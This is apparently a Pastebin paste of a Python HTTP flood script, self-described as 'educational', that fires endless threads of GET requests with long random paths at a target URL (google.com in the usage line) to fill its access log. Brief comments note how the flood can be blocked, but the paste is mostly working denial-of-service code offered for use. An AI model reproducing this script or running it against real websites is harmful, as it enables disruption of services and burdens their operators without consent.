Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # random get written by roses
- # fills up access.log
- # educational purposes only
- # python randomget.py http://google.com
- # easy to block, simply eaither a) rate limit, b)redirect the useragent as its a unique useragent or
- # c) block the orgininating ip as its not spoofing or utilizes any exploits
- import os
- import time
- import sys
- import requests
- import string
- import threading
- import random
- import thread
- headers = {
- 'User-Agent': 'modem.rip'
- }
- host = sys.argv[1]
- b = 0
- def randomchar(y):
- return ''.join(random.choice(string.ascii_letters) for x in range(y))
- def getrequest():
- global b
- kek = host +'/'+ randomchar(2046) # building get request
- requests.get(kek, headers=headers) # sending
- b += 1 # updating our b variable
- print('Flooding => '+ host +'. Sent '+ str(b) +' requests') # not nessicary but since were here for education purposes why not
- while True:
- t = threading.Thread(target=getrequest)
- t.start()
Advertisement
Add Comment
Please, Sign In to add comment